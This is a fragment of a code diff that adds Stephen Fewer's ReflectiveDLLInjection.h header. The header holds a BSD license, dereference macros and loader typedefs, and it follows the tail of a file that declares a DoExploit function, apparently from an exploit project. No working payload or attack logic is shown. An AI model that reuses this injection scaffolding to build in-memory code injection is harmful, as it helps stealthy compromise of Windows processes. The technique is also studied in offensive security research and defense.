VOID DoExploit();
#endif

View File

@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

Some files were not shown because too many files have changed in this diff Show More